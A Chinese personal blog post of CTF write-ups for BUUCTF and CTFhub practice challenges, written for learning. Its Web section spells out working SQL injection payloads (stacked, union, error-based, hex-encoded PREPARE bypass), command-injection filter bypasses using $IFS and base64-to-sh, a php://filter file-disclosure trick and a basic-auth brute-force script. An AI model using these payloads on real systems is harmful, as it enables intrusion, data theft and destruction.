CTF题记——暑假计划第一周

前言

学期结束，暑假开始，博客也开始正常更新。
差不多就是一周一篇CTF题记，一篇漏洞原理的知识，外加随便一篇。

Web

Web类的题目是在BUUCTF挑选的。

[强网杯 2019]随便注

查看源码，看到sqlmap是没有灵魂的应该不能使用sqlmap，先尝试其他的办法。
直接提交1

然后判断闭合，输入单引号报错，可以判断是字符型SQL注入。
1' order by 3#
判断列数，到3已经报错了，说明只有2列。
然后先试试联合查询注入

正则匹配过滤URL中的select、upload、where还有"."等，尝试大小写绕过，失败。
所以尝试下报错注入，payload

 1' and extractvalue(0x0a,concat(0x0a,(database())))#

这个跟我常用的不一样，我以前常用的报错注入payload里面是包含了select的，所以有找了一个没有过滤内容的payload来进行绕过。

数据库名是supersqli
然后就卡住了，查看前面师傅们的wp，了解到了堆叠注入。
先了解一下……

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为： Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

当然堆叠注入还有一定的局限性，这个以后遇到再进行学习。
payload

0';show databases;#

爆出来六个数据库名。
然后查看所有的表

0';show tables;#

查看表中字段

0';desc words;#

好像是没有什么有效信息，再看另一个

0';desc `1919810931114514`;#
#注释字段名是数字，查看时用  `  包起来

这个查询flag的方式才是需要解决的。
然后看了一个师傅的wp是这么写的，正则过滤没有过滤alert和rename这两个，所以可以使用这两个功能来实现一波骚操作

1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列，列名为id
4.将flag列改名为data

有两个payload，我都进行尝试但是结果没有出flag。先贴一下payload

#第一个
?inject=1’; ALTER TABLE `words` CHANGE `flag` `data` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
#第二个
?inject=1’;rename table `words` to` word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

结果一样，

emmm，我又查看了一遍，发现没修改成功，

不知道是什么原因，emmm不慌，还有一种方法：
PHP中mysql预处理，，不知道，先学习一下
参考博客——MySQL的SQL预处理(Prepared)
语法：

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

在mysql命令行中看下

真是tql

然后就可以做题了。下面的payload可以用。

?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这个是拼接的十六进制数字，将那一串数字转换为16进制。
还有一种方法可以将其转换为ascii码然后在进行转换

1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

喔，666

膜拜大佬，这方法也太强了。

技能树HTTP协议基础认证

浏览过一遍网页后，开启代理。点击click进行抓包。

用户输入admin 密码随机123

找了好久发现这里是输入的用户名和密码。它是进行了base64加密了。所以就需要将字典文件也进行加密。使用大佬写的python脚本。

import base64
# 字典文件路径
dic_file_path = './10_million_password_list_top_100.txt'
with open(dic_file_path, 'r') as f:
    password_dic = f.readlines()

username = 'admin:' # 用户名
for password in password_dic:
    str1=str.encode(username + password.strip())
    encodestr = base64.b64encode(str1)
    encodestr=str(encodestr)
    encodestr=encodestr.strip('b\'')
    encodestr=encodestr.replace("=","\=")   #避免“=”被转译
    print(encodestr)

然后复制一下运行出来的密码

重新写一个txt字典文件。进行爆破。

然后查看response

技能树目录遍历

第一个办法：傻瓜式操作，一个个找。（位置好像是随机的，可以自己找找）

第二种方法：脚本查询
使用request库进行查询

import requests

url = "http://challenge-4d716e1afe267765.sandbox.ctfhub.com:10080/flag_in_here/"

for i in range(5):
    for j in range(5):
        url_test =url+"/"+str(i)+"/"+str(j)
        r = requests.get(url_test)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_test)

然后直接访问URL得到flag

bak文件

这个用dirsearch扫描，

等它跑一会儿，等到index.php的时候ctrl+C就可以停下来了，不然太多。

然后访问就可以下载了，打开文件

[极客大挑战 2019]EasySQL

界面挺帅的，黑色系列。判断一下闭合符号，发现是单引号闭合的字符型注入。

这样的登录框，首先应该想到的是万能密码，先看看能不能登录，如果能登陆再看看有没有有效信息，如果没有信息再进行寻常的注入。
这个是个简单的注入，所以万能密码就可以直接得到flag了

admin' or 1=1 #

flag{a3fe1ac7-493c-4546-9aeb-5a244f6f254c}

[极客大挑战 2019]Havefun

查看源码，这个好像没什么难度吧。

直接出来了。

[RoarCTF 2019]Easy Calc

查看源码注释说有waf，然后访问源码中提示的calc.php

error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

这个就是waf的规则了。需要绕过num，

php的解析规则：当php进行解析的时候，如果变量前面有空格，会去掉前面的空格再解析

所以进行绕过只需要在num前面加上空格就OK了，num进行过滤，但是num前面加上空格就没有问题了，waf就不会管num之外的东西。
查看目录，使用ascii码绕过

? num=1;var_dump(scandir(chr(47)))

看到一个flagg的

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

查看到flag是

方法二：http请求走私
这个看学长总结了，看着有点头大，还是以后基础扎实点了再学这个吧。

[极客大挑战 2019]Secret File

第一步：f12

第二步：点击跳转到另一个页面

中间跳转了，所以需要抓包分析

找到了，然后访问

可以看出，flag.php可=可能有东西，先访问一下(虽然知道肯定没有结果)

现在再来看上面的那个代码，是PHP伪协议的源代码，这里可以使用PHP伪协议，但是看到有过滤，过滤了带有tp的，还有input、data找一个没有过滤的伪协议进行解题。选择filter
payload

?file=php://filter/convert.base64-encode/resource=flag.php

base64解码，

ha,这个结果出乎意料，试了几次发现解码问题

[极客大挑战 2019]LoveSQL

post类型表单注入，先尝试万能密码

admin' or 1=1#

可以看出是字符型注入，单引号闭合，接下来可以查询列数

order by 4#

到四报错，判断有三列。

爆数据库名

-admin' union select 1,2,database()#

数据库名为geek

-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

题目是loveSQL，所以猜测flag可能在l0ve1ysq1中。
然后就是爆字段

-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

这个跟sqli-labs第一关几乎一样的。

-admin' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#

就能找到flag

flag{d96f20f0-79fe-4a7a-998b-4cb9ebf4902b}

[GXYCTF2019]Ping Ping Ping

这个题也是很有意思，可能有点linux基础的做起来更容易理解一点。
开启环境，是让/?ip，这样可以看出来是让在后面加上IP地址，然后考点应该是命令执行漏洞，先尝试127.0.0.1

ping成功了，然后就可以构造我们的命令执行漏洞的payload了

?ip=127.0.0.1|ls

查看当前目录下的文件

然后就是cat一下看看内容。
但是发现好像有过滤

空格被过滤了。关于命令执行漏洞的各种绕过，我刚学习总结一篇新的博客——命令执行漏洞的各种绕过方式
我选择$IFS绕过

?ip=127.0.0.1|cat$IFSflag.php

flag也被过滤了，先查看一下index.php里面的内容。使用$IFS过滤好像没有什么内容返回，尝试一下使用$IFS$1

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

可以看出，这个是过滤了许多标点，空格，bash,包括flag的贪婪匹配
绕过方法可以使用变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

当然还有其他的方式，就不一一演示了。

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh		绕过bash，使用sh同样可行
/?ip=127.0.0.1;cat$IFS`ls`		#内联执行的做法：

Misc

[WUSTCTF2020]alison_likes_jojo

信息就是：两张图片，还有题目描述，不过我没发现这个有什么作用。
文件中隐藏了压缩包，foremost分离得到压缩包，尝试进行爆破

得到文件中是一串base64编码，而且文件名也说明了就是beisi

WVRKc2MySkhWbmxqV0Zac1dsYzBQUT09
YTJsc2JHVnljWFZsWlc0PQ==
a2lsbGVycXVlZW4=
killerqueen

一直解下去就得到了最终结果。
然后提交了发现不对。

然后看了眼wp，好像是outguess

桌面生成的hidden.txt打开就是flag了
以后要多长个心眼了。

[SUCTF2018]single dog

这个没什么绕的，就是一个新知识，aaencode解密
在线网站——传送门

[SUCTF 2019]Game

图片好像是没有隐藏文件的，所以先放着，看文件夹里的文件。
找到HTML，看源码

这个是base32编码，就进行解密得到

但是，这个不对。是个假的flag。还是要去看图片。’
图片现在能想到的就是只有LSB隐写了。

是DES加密，看一个大佬的博客说是U2FsdGVkX1开头的加密基本都是DES加密。然而需要密码。
刚得到的假flag就是密码，看wp的时候也要仔细啊，DES和3DES也是不一样的。害我刚试了好多遍怎么都解不出来，就是不认真的结果。

2020网鼎杯朱雀组——九宫格

emmm，脚本题
思路：先用二维码扫描工具进行扫描，试了几个发现都是zero或者one，猜想应该是二进制什么的。这个图片很多，需要用到脚本了。

import zxing
import os

filepath = r"#QRcode文件夹所在的绝对路径#"
l = os.listdir(filepath)
l.sort(key=lambda x:int(x[:-4]))

t = ''
for i in l:
    reader = zxing.BarCodeReader()
    barcode = reader.decode(filepath+"\\"+i)
    print(barcode.parsed)
    if(barcode.parsed == 'zero'):
        t = t + '0'
    else:
        t = t + '1'
        
print(t)

上面用到一个第三方库需要自己安装zxing，简单的直接使用pip安装就行。
然后二进制转文本，找个在线网站转一下，然后是rabbit加密
呃呃呃呃，不过我好像没有看到有提示，，，，百度的wp都说有提示，这道题是我在CTFhub上做的，没发现提示，然后找到个师傅的wp说是九宫格有关的，还是直接附上博客地址叭。参考博客
然后得到flag，看过之后觉得这个需要有点脑洞的的。

本题总结：脚本比较慢，可以加上多线程，学的浅，目前还不会改脚本，不过多线程的确可以提快很多。还有就是这个好像是有个工具可以批量扫描二维码的，我看wp的时候有个师傅的图是批量转换的，没用脚本。不过没找到这个工具。

[GUET-CTF2019]zips

解压，得到压缩包，再次解压，有密码，爆破得到密码，解压，无果。010editor查看，发现伪加密。(或者ZipCenOp,.jar清除伪加密，使用方法请百度。)解压得到脚本，记事本打开是python脚本。python2的，需要用2的版本进行运行。运行后发现是一堆掩码(查过百度后知道的),格式是??????????.??用ARCHPR进行掩码破解，参数设置百度找了好久没找到，还是自己摸索摸索。

这样，攻击类型选择掩码，设置一下掩码选项(P:最近眼神有点不好使，总看错东西，这个是没有看到)
进行破解就行，数字有点大，破解的有点慢。密码：1558080832.15
解压得到flag

我吃三明治

图片，没有备注什么的，先foremost分离一下，看到两张图片，都是三明治，emmm有点不一样的，一张图里面藏了两张图。010editor看看，搜索图片位置，连接处好像有段编码。

像是base32，解码得到flag

[MRCTF2020]CyberPunk

呃呃呃，原本没看懂啥意思，原来是需要将电脑上的日期改为发行日期就行了。也就是改成2020.9.17
其他没什么可说的

[WUSTCTF2020]girlfriend

听起来是按键音吧，之前做过这样的题，是按键音的。工具是dtmf2，下载地址可参考我之前写的博客——(CTF题记——再战GK、BUU)，或者自行百度

然后根据九键键盘对照一下

出题人还挺花心的，这么多girlfriend

[HBNIS2018]来题中等的吧

第一步：foremost
第二步：010editor
第三部：stegsolve
全都没发现任何信息

然后仔细看图片内容，发现是摩斯密码，可以直接写出来。

就是flag了。挺简单一道题给想多了。

Crypto

[NCTF2019]Keyboard

键盘密码

ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

可以看出这些字母都是在键盘上的最上面那一行的。而且再往上看，是数字。一个字母对应一个数字。0-9，然后又是这种格式的，明显是在九键键盘上再进行解题。比第一个o=9，第九个键的第三个是y

然后用脚本继续解

cipher = 'ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee'
s = ' qwertyuiop'
d = ['', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz']

for part in cipher.split(' '):
    # print(part)
    count = len(part)
    num = s.index(part[0])
    print(d[num][count - 1], end='')

解出是

youaresosmartthatthisisjustapieceofcake

加上flag就行了。

总结：看到键盘密码必须要想到两种键盘，并且数字字母之间的关系要多理解。

[GXYCTF2019]CheckIn

题目只有一串base64编码

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

解出来是一串乱码

v)*L*_F0<}@H0>F49023@FE0#@EN

然后就是各种密码，猜……凯撒，解不出来。
不知所措，Google一下大佬的wp，是rot47

这，，，怎么没有想到rot的其他加密，害脑洞太小。
思考：很乱的字符串，特别是有*、#、@等字符，优先考虑移位的密码。rot家族的其他成员不能忘了。

这周就这吧，不写了。玩游戏放松放松去。